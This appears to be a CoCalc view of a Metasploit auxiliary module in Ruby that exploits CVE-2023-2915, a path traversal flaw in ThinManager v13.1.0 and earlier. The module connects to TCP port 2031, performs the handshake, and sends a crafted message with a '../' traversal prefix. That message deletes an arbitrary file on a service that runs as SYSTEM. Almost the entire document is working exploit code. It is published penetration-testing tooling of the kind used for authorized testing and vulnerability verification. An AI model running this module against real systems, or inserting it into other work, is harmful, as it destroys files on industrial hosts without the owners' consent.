Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/networking/thinmanager_traversal_delete.rb
19579 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Report
9
prepend Msf::Exploit::Remote::AutoCheck
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'ThinManager Path Traversal (CVE-2023-2915) Arbitrary File Delete',
16
'Description' => %q{
17
This module exploits a path traversal vulnerability (CVE-2023-2915) in
18
ThinManager <= v13.1.0 to delete arbitrary files from the system.
19
The affected service listens by default on TCP port 2031 and runs in the
20
context of NT AUTHORITY\SYSTEM.
21
},
22
'Author' => [
23
'Michael Heinzl', # MSF Module
24
'Tenable' # Discovery and PoC
25
],
26
'License' => MSF_LICENSE,
27
'References' => [
28
['CVE', '2023-2915'],
29
['URL', 'https://www.tenable.com/security/research/tra-2023-28'],
30
['URL', 'https://support.rockwellautomation.com/app/answers/answer_view/a_id/1140471']
31
],
32
'DisclosureDate' => '2023-08-17',
33
'DefaultOptions' => {
34
'RPORT' => 2031,
35
'SSL' => false
36
},
37
'Notes' => {
38
'Stability' => [CRASH_SAFE],
39
'Reliability' => [],
40
'SideEffects' => [IOC_IN_LOGS]
41
}
42
)
43
)
44
45
register_options(
46
[
47
OptString.new('FILE', [false, 'The file to delete from the target system.', '/tmp/foo.txt']),
48
OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 7 ])
49
]
50
)
51
end
52
53
def check
54
begin
55
connect
56
rescue Rex::ConnectionTimeout
57
print_error("Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed.")
58
return Exploit::CheckCode::Unknown
59
end
60
61
vprint_status('Sending handshake...')
62
handshake = [0x100].pack('V')
63
vprint_status(Rex::Text.to_hex_dump(handshake))
64
sock.put(handshake)
65
66
res = sock.get_once(4096, 5)
67
expected_header = "\x00\x04\x00\x01\x00\x00\x00\x08".b
68
69
if res&.start_with?(expected_header)
70
vprint_status('Received handshake response.')
71
vprint_status(Rex::Text.to_hex_dump(res))
72
disconnect
73
return Exploit::CheckCode::Detected
74
elsif res
75
vprint_status('Received unexpected handshake response:')
76
vprint_status(Rex::Text.to_hex_dump(res))
77
disconnect
78
return Exploit::CheckCode::Safe
79
else
80
disconnect
81
return Exploit::CheckCode::Unknown('No handshake response received.')
82
end
83
end
84
85
def mk_msg(msg_type, flags, data)
86
dlen = data.length
87
hdr = [msg_type, flags, dlen].pack('nnN')
88
hdr + data
89
end
90
91
def run
92
print_status('Sending handshake...')
93
94
begin
95
connect
96
rescue Rex::ConnectionTimeout => e
97
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
98
end
99
100
handshake = [0x100].pack('V')
101
vprint_status(Rex::Text.to_hex_dump(handshake))
102
103
begin
104
sock.put(handshake)
105
rescue StandardError => e
106
fail_with(Failure::UnexpectedReply, "Failed during handshake send: #{e.class} - #{e.message}")
107
end
108
109
res = sock.get
110
if res
111
print_status('Received handshake response.')
112
vprint_status(Rex::Text.to_hex_dump(res))
113
else
114
print_error('No handshake response received.')
115
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed.")
116
end
117
118
begin
119
fname = datastore['FILE']
120
traversal = '../' * 7
121
full_fname = traversal + fname
122
full_fname = full_fname.gsub(%r{/+}, '/')
123
124
data = [0xaa].pack('N')
125
data << "unk_str1\x00"
126
data << [1].pack('N')
127
data << full_fname.encode('ASCII') + "\x00"
128
129
req = mk_msg(21, 0x0021, data)
130
rescue StandardError => e
131
fail_with(Failure::BadConfig, "Failed to construct request: #{e.class} - #{e.message}")
132
end
133
134
vprint_status(Rex::Text.to_hex_dump(req))
135
136
print_status("Deleting #{fname} from #{datastore['RHOSTS']}")
137
sock.put(req)
138
139
begin
140
res = sock.get
141
if res
142
print_good('Received response from target.')
143
vprint_status(Rex::Text.to_hex_dump(res)) if res
144
else
145
print_error('No response received from target.')
146
end
147
rescue StandardError => e
148
fail_with(Failure::TimeoutExpired, "Failed to receive response: #{e.class} - #{e.message}")
149
ensure
150
disconnect
151
end
152
end
153
end
154
155